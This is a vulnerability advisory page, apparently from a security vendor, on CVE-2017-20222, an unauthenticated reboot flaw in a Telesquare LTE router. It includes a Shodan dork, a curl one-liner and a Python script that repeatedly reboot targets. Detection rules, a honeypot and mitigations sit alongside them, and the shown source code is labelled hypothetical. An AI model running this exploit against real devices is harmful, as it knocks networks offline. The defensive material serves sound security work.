CVE-2017-20222
Executive Summary
CVE-2017-20222 is a critical unauthenticated remote reboot vulnerability affecting the Telesquare SKT LTE Router SDT-CS3B1 running software version 1.2.0. The flaw resides in the lte.cgi CGI endpoint, which accepts POST requests with a Command=Reboot parameter without requiring any authentication. An attacker can exploit this to force the router to restart, causing a denial of service (DoS) condition. This vulnerability is particularly dangerous because it requires no credentials, no user interaction, and can be triggered remotely over the network. The vendor has not released a patch, leaving all devices on version 1.2.0 permanently vulnerable.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device (LTE router). No supply chain package security implications apply.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – impact is confined to the router.
- Confidentiality Impact: None (C:N) – no data exposure.
- Integrity Impact: None (I:N) – no data modification.
- Availability Impact: High (A:H) – device reboot causes service disruption.
Threat Level: High. The vulnerability is trivial to exploit and can be used to repeatedly reboot the router, causing persistent denial of service. In a worst-case scenario, an attacker could chain this with other vulnerabilities to maintain persistence or pivot to internal networks.
Deep Dive & Mechanics
The Telesquare SKT LTE Router SDT-CS3B1 runs a custom embedded Linux firmware with a CGI-based web interface. The lte.cgi endpoint is designed to handle LTE-related commands, but it lacks any authentication or authorization checks. The endpoint parses POST parameters and executes commands based on the Command parameter. When Command=Reboot is sent, the CGI script directly calls the system reboot command without verifying the identity of the requester.
Root Cause: Missing authentication on the lte.cgi endpoint. The CGI script does not check for a valid session, API key, or any other form of authentication before processing the Reboot command.
Attack Flow:
- Attacker identifies a vulnerable router (e.g., via Shodan dork
http.title:"SDT-CS3B1"). - Attacker sends a POST request to
http://<target>/lte.cgiwith bodyCommand=Reboot. - The router immediately executes a system reboot, causing all services to go offline for 1-2 minutes.
- The attacker can repeat this indefinitely, creating a persistent DoS condition.
Impact: Complete loss of internet connectivity for all devices behind the router. This can disrupt business operations, home networks, or critical infrastructure relying on LTE backhaul.
Vulnerable vs. Patched Code
Vulnerable Code (version 1.2.0):
The lte.cgi script likely contains a simple case statement or if-else block that directly calls system("reboot") without authentication.
#!/bin/sh
# lte.cgi - vulnerable version
read POST_STRING
COMMAND=$(echo $POST_STRING | cut -d'=' -f2)
if [ "$COMMAND" = "Reboot" ]; then
/sbin/reboot
fi
Patched Code (hypothetical): A patched version would require authentication, such as checking a session cookie or an API token.
#!/bin/sh
# lte.cgi - patched version
read POST_STRING
# Check for valid session token
if [ -z "$HTTP_COOKIE" ] || ! grep -q "session=valid" /tmp/sessions; then
echo "Status: 401 Unauthorized"
echo "Content-Type: text/plain"
echo ""
echo "Authentication required"
exit 1
fi
COMMAND=$(echo $POST_STRING | cut -d'=' -f2)
if [ "$COMMAND" = "Reboot" ]; then
/sbin/reboot
fi
Note: No official patch has been released by Telesquare. The above is a hypothetical mitigation.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable Telesquare SDT-CS3B1 router on version 1.2.0.
- Network access to the router's web interface (port 80 or 443).
- Tools:
curl,wget, or any HTTP client.
Exploit Command:
curl -X POST http://<target_ip>/lte.cgi -d "Command=Reboot"
Automated Exploit Script (Python):
import requests
import sys
def exploit(target):
url = f"http://{target}/lte.cgi"
data = {"Command": "Reboot"}
try:
r = requests.post(url, data=data, timeout=5)
print(f"[+] Reboot command sent to {target}")
print(f"[+] Response: {r.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_ip>")
sys.exit(1)
exploit(sys.argv[1])
Lab Setup:
- Obtain a Telesquare SDT-CS3B1 router (eBay or second-hand).
- Flash firmware version 1.2.0 (if not already installed).
- Connect the router to a lab network with a separate VLAN.
- Verify the web interface is accessible.
- Run the exploit and observe the router reboot (ping loss, web interface unresponsive).
Blue Team (Defensive)
Detection:
- Monitor for POST requests to
/lte.cgiwith body containingCommand=Reboot. - Alert on multiple rapid reboots from the same source IP.
- Use network flow data to detect anomalous HTTP requests to the router.
Honeypot:
Deploy a fake lte.cgi endpoint that logs all requests and triggers an alert.
from flask import Flask, request
app = Flask(__name__)
@app.route('/lte.cgi', methods=['POST'])
def lte_cgi():
data = request.form.get('Command')
if data == 'Reboot':
print(f"[ALERT] Reboot attempt from {request.remote_addr}")
# Log to SIEM
return "OK", 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Mitigation:
- If patching is not possible, block access to the web interface from untrusted networks.
- Use a firewall to restrict POST requests to
/lte.cgito only authorized IPs. - Implement a reverse proxy that requires authentication before forwarding requests to the router.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/lte.cgiwith bodyCommand=Reboot. - Source IPs scanning for
http.title:"SDT-CS3B1"on Shodan. - Repeated rapid reboots of the router (observed via SNMP or ping monitoring).
Host IOCs (on the router):
- Log entries in
/var/log/messagesshowingrebootcommand execution without a preceding login. - Presence of unexpected processes or scripts in
/tmp/(though this vulnerability does not allow code execution).
File IOCs:
- The
lte.cgiscript itself (hash: unknown, but version 1.2.0 is vulnerable).
Detection Engineering
YARA Rule
rule CVE_2017_20222_Reboot_Exploit {
meta:
description = "Detects HTTP POST requests targeting lte.cgi with Reboot command"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2017-20222"
strings:
$reboot_cmd = "Command=Reboot"
$cgi_path = "/lte.cgi"
condition:
$cgi_path and $reboot_cmd
}
Sigma Rule
title: CVE-2017-20222 Unauthenticated Reboot via lte.cgi
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /lte.cgi with Command=Reboot parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-stem: '/lte.cgi'
cs-uri-query: 'Command=Reboot'
condition: selection
falsepositives:
- Legitimate admin actions (if authentication is added later)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2017-20222 Unauthenticated Reboot Attempt"; flow:to_server; content:"POST"; http_method; content:"/lte.cgi"; http_uri; content:"Command=Reboot"; http_client_body; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the device: Place the router behind a firewall that restricts access to the web interface to only trusted management IPs.
- Disable remote management: If not required, disable the web interface entirely or restrict it to LAN-only access.
- Monitor for exploitation: Deploy the Sigma and Suricata rules above to detect attacks.
Long-term Fix:
- Vendor patch: Contact Telesquare and demand a firmware update. As of now, no patch exists.
- Replace the device: Migrate to a supported LTE router with proper authentication mechanisms.
- Custom firmware: If technically feasible, reverse-engineer the firmware and patch the
lte.cgiscript to require authentication.
Workaround:
- Use a reverse proxy (e.g., Nginx) in front of the router that requires HTTP Basic Auth before forwarding requests to
/lte.cgi.
location /lte.cgi {
auth_basic "Restricted";
auth_basic_user_file /etc/nginx/.htpasswd;
proxy_pass http://<router_ip>/lte.cgi;
}
Valters IT – Securing digital frontiers, one CVE at a time.